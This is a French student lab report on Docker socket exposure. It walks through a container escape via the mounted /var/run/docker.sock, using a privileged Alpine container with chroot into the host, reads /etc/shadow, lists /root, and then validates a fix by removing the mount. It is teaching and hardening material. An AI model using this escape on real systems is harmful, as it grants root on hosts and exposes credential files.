Rapport d'Atelier Sécurité Docker : Exploitation et Durcissement

Nom : Péniel LAWSON-BODY

1. Objectif de l'atelier

L'objectif de ce TP est de démontrer les risques liés à une mauvaise configuration des conteneurs Docker, en particulier le montage de la socket Unix de l'hôte (`/var/run/docker.sock`) dans un conteneur non privilégié. L'atelier couvre les phases de reconnaissance, d'exploitation (évasion de conteneur), de récolte de preuves et d'application de contre-mesures.

2. Mise en place de l'environnement vulnérable

Dans un premier temps, l'image Docker contenant l'application Python vulnérable a été construite, puis le conteneur a été lancé en montant volontairement la socket Docker de la machine hôte.

- **Commande de build :** `docker build -t vuln-docker-sock:1.0 .`
- **Commande de lancement :** `docker run -d --name vuln -p 8080:8080 -v /var/run/docker.sock:/var/run/docker.sock vuln-docker-sock:1.0`

```
PROBLÈMES   SORTIE   CONSOLE DE DÉBOGAGE   TERMINAL   PORTS                                                    bash
@peniellawsonbody-max ➜/workspaces/tp-docker-security (main) $ docker build -t vuln-docker-sock:1.0 .
 => => sha256:9d2f29087bcd6d99efd909a99095549425cd63e27c71b3bf37f108c6b7c370f9 48.49MB / 48.49MB                1.4s
 => => extracting sha256:9d2f29087bcd6d99efd909a99095549425cd63e27c71b3bf37f108c6b7c370f9                       3.8s
 => [internal] load build context                                                                               0.0s
 => => transferring context: 549B                                                                               0.0s
 => [2/4] RUN apt-get update && apt-get install -y    curl    docker.io    python3    python3-pip    python3-flask    100.1s
 => [3/4] WORKDIR /app                                                                                          0.1s
 => [4/4] COPY app.py /app/app.py                                                                               0.0s
 => exporting to image                                                                                         16.9s
 => => exporting layers                                                                                        16.8s
 => => writing image sha256:f80b100fc866e077e45a4654f5d0e741e6cd3a382c8419ff3d3b478ca698a9cb                    0.0s
 => => naming to docker.io/library/vuln-docker-sock:1.0                                                         0.0s
@peniellawsonbody-max ➜/workspaces/tp-docker-security (main) $
```

```
@peniellawsonbody-max ➜/workspaces/tp-docker-security (main) $ docker run -d --name vuln -p 8080:8080 -v /var/run/docker.sock:/var
/run/docker.sock vuln-docker-sock:1.0
ba4f2f6448dc0a9f991917645e6b7857bd53edafde4e68e52fc012275b51f969
@peniellawsonbody-max ➜/workspaces/tp-docker-security (main) $
```

```
@peniellawsonbody-max ➜/workspaces/tp-docker-security (main) $ docker exec -it vuln /bin/bash
root@ba4f2f6448dc:/app#
```

3. Reconnaissance

Une fois à l'intérieur du conteneur vulnérable, nous avons vérifié la présence de la socket et la capacité de communiquer avec le démon Docker de l'hôte.

- **Vérification de la socket :** `ls -l /var/run/docker.sock` montre que le fichier est bien présent.
- **Interaction avec le démon :** La commande `docker ps` exécutée depuis le conteneur a renvoyé la liste des processus de la machine hôte, confirmant la vulnérabilité.

```
@peniellawsonbody-max →/workspaces/tp-docker-security (main) $ docker exec -it vuln /bin/bash
root@ba4f2f6448dc:/app# ls -l /var/run/docker.sock
srw-rw---- 1 root docker 0 Mar 31 14:39 /var/run/docker.sock
root@ba4f2f6448dc:/app#
```

```
root@ba4f2f6448dc:/app# docker ps
CONTAINER ID   IMAGE                  COMMAND                  CREATED         STATUS         PORTS
      NAMES
ba4f2f6448dc   vuln-docker-sock:1.0   "python3 /app/app.py"   3 minutes ago   Up 3 minutes   0.0.0.0:8080->8080/tcp, :::8080->8080/
tcp   vuln
root@ba4f2f6448dc:/app#
```

4. Exploitation de la vulnérabilité (Container Escape)

En exploitant l'accès à la socket Docker, nous avons ordonné au démon de l'hôte de démarrer un nouveau conteneur Alpine avec des privilèges élevés (`--privileged`) et en montant la racine du système de fichiers de l'hôte (`-v /:/host`).

- **Commande d'exploit :** `docker run --rm -it --privileged -v /:/host alpine chroot /host sh`

L'utilisation de `chroot` nous a permis d'obtenir un shell "root" directement sur le système hôte, réalisant ainsi une évasion de conteneur complète.

```
@peniellawsonbody-max →/workspaces/tp-docker-security (main) $ docker exec -it vuln /bin/bash
root@ba4f2f6448dc:/app# docker ps
CONTAINER ID   IMAGE                  COMMAND                  CREATED         STATUS         PORTS
      NAMES
ba4f2f6448dc   vuln-docker-sock:1.0   "python3 /app/app.py"   3 minutes ago   Up 3 minutes   0.0.0.0:8080->8080/tcp, :::8080->8080/
tcp   vuln
root@ba4f2f6448dc:/app# docker run --rm -it --privileged -v /:/host alpine chroot /host sh
Unable to find image 'alpine:latest' locally
latest: Pulling from library/alpine
589002ba0eae: Pull complete
Digest: sha256:25109184c71bdad752c8312a8623239686a9a2071e8825f20acb8f2198c3f659
Status: Downloaded newer image for alpine:latest
#
```

5. Preuves d'accès et d'impact

Depuis notre shell avec privilèges sur l'hôte, nous avons pu démontrer un accès total au système (lecture et écriture).

- **Lecture de données sensibles :** Affichage des hachages de mots de passe de l'hôte avec `cat /etc/shadow`.

```
# cat /etc/shadow
root:*:20374:0:99999:7:::
daemon:*:20374:0:99999:7:::
bin:*:20374:0:99999:7:::
sys:*:20374:0:99999:7:::
sync:*:20374:0:99999:7:::
games:*:20374:0:99999:7:::
man:*:20374:0:99999:7:::
lp:*:20374:0:99999:7:::
```

```
mail:*:20374:0:99999:7:::
news:*:20374:0:99999:7:::
uucp:*:20374:0:99999:7:::
proxy:*:20374:0:99999:7:::
www-data:*:20374:0:99999:7:::
backup:*:20374:0:99999:7:::
list:*:20374:0:99999:7:::
irc:*:20374:0:99999:7:::
_apt:*:20374:0:99999:7:::
nobody:*:20374:0:99999:7:::
systemd-network:!*:20419::::::
messagebus:!:20419::::::
```

```
polkitd:!*:20419::::::
codespace:!:20419:0:99999:7:::
sshd:!:20419::::::
#
```

- **Exploration des répertoires restreints :** Accès au dossier personnel de l'administrateur avec `ls -la /root`.

```
# ls -la /root
total 88
drwx------  1 root root 4096 Nov 27 10:46 .
drwxr-xr-x  1 root root 4096 Mar 31 14:39 ..
-rw-r--r--  1 root root 5261 Nov 27 10:36 .bashrc
drwxr-xr-x  1 root root 4096 Nov 27 10:42 .cache
-rw-r--r--  1 root root   46 Nov 27 10:36 .condarc
drwxr-xr-x  1 root root 4096 Nov 27 10:44 .config
drwxr-xr-x  5 root root 4096 Nov 27 10:46 .dotnet
-rw-r--r--  1 root root  161 Nov 27 10:44 .gitconfig
drwxr-xr-x  1 root root 4096 Nov 27 10:45 .local
drwxrwxr-x  4 root root 4096 Nov 27 10:36 .npm
```

```
drwxr-xr-x 13 root root 4096 Nov 27 10:33 .oh-my-zsh
-rw-r--r--  1 root root  161 Apr 22  2024 .profile
drwxr-xr-x  3 root root 4096 Nov 27 10:42 .rbenv
-rw-r--r--  1 root root   30 Nov 27 10:42 .rvmrc
drwx------  2 root root 4096 Nov 27 10:32 .ssh
drwxr-xr-x  4 root root 4096 Nov 27 10:45 .templateengine
-rw-r--r--  1 root root  165 Nov 27 10:44 .wget-hsts
-rw-r--r--  1 root root 4018 Nov 27 10:33 .zshrc
#
```

- **Preuve d'écriture sur l'hôte :** Création d'un fichier de preuve avec `touch /tmp/pwned_by_peniel.txt`.

```
# touch /tmp/pwned_by_peniel.txt
ls -l /tmp/pwned_by_peniel.txt#
-rw-r--rw- 1 root root 0 Mar 31 14:59 /tmp/pwned_by_peniel.txt
#
```

- **Post-exploitation (Impact sur l'infrastructure) :** La commande `docker images` exécutée en tant que root prouve la compromission totale de l'environnement d'hébergement. L'attaquant peut désormais lister, créer, modifier ou supprimer n'importe quel service de l'entreprise.

```
# docker images
REPOSITORY        TAG       IMAGE ID       CREATED          SIZE
vuln-docker-sock  1.0       f80b100fc866   17 minutes ago   1.02GB
alpine            latest    a40c03cbb81c   2 months ago     8.44MB
#
```

```
# exit
root@ba4f2f6448dc:/app# exit
exit
@peniellawsonbody-max ➜/workspaces/tp-docker-security (main) $
```

6. Contre-mesures et Validation

6.1. Recommandation appliquée

La vulnérabilité principale réside dans le montage de la socket. La contre-mesure la plus efficace consiste à supprimer ce point de montage lors du lancement de l'application. Nous avons relancé l'application de manière sécurisée avec la commande suivante : `docker run -d --name vuln-secure -p 8081:8080 vuln-docker-sock:1.0`

```
@peniellawsonbody-max ➜/workspaces/tp-docker-security (main) $ docker run -d --name vuln-secure -p 8081:8080 vuln-docker-sock:1.0
5b8df33206275e4034e4ed36eec8ade8147c4713dd94a29882c8d199b6ea974c
@peniellawsonbody-max ➜/workspaces/tp-docker-security (main) $
```

```
@peniellawsonbody-max ➜/workspaces/tp-docker-security (main) $ docker run -d --name vuln-secure -p 8081:8080 vuln-docker-sock:1.0
docker: Error response from daemon: Conflict. The container name "/vuln-secure" is already in use by container "5b8df33206275e4034e
4ed36eec8ade8147c4713dd94a29882c8d199b6ea974c". You have to remove (or rename) that container to be able to reuse that name.

Run 'docker run --help' for more information
@peniellawsonbody-max ➜/workspaces/tp-docker-security (main) $
```

6.2. Validation de la mitigation

En pénétrant dans ce nouveau conteneur `vuln-secure`, la commande `docker ps` échoue désormais, prouvant que l'accès au démon de l'hôte est bloqué.

```
@peniellawsonbody-max ➜/workspaces/tp-docker-security (main) $ docker exec -it vuln-secure /bin/bash
root@5b8df3320627:/app# docker ps
Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?
root@5b8df3320627:/app#
```

6.3. Analyse des impacts

- **Impact positif:** L'application est dorénavant isolée. Une compromission du code source ne permettra plus à un attaquant de s'échapper du conteneur et de compromettre le système hôte.
- **Impact négatif:** Cette contre-mesure stricte entraîne une perte de fonctionnalité pour les applications ayant un besoin légitime d'interagir avec Docker. Pour ces cas d'usage légitimes, des solutions alternatives plus complexes doivent être mises en place, telles que l'utilisation d'un **Docker Socket Proxy** (pour filtrer les appels API en lecture seule) ou l'activation du mode **Docker Rootless** (pour limiter les privilèges du démon en cas de compromission).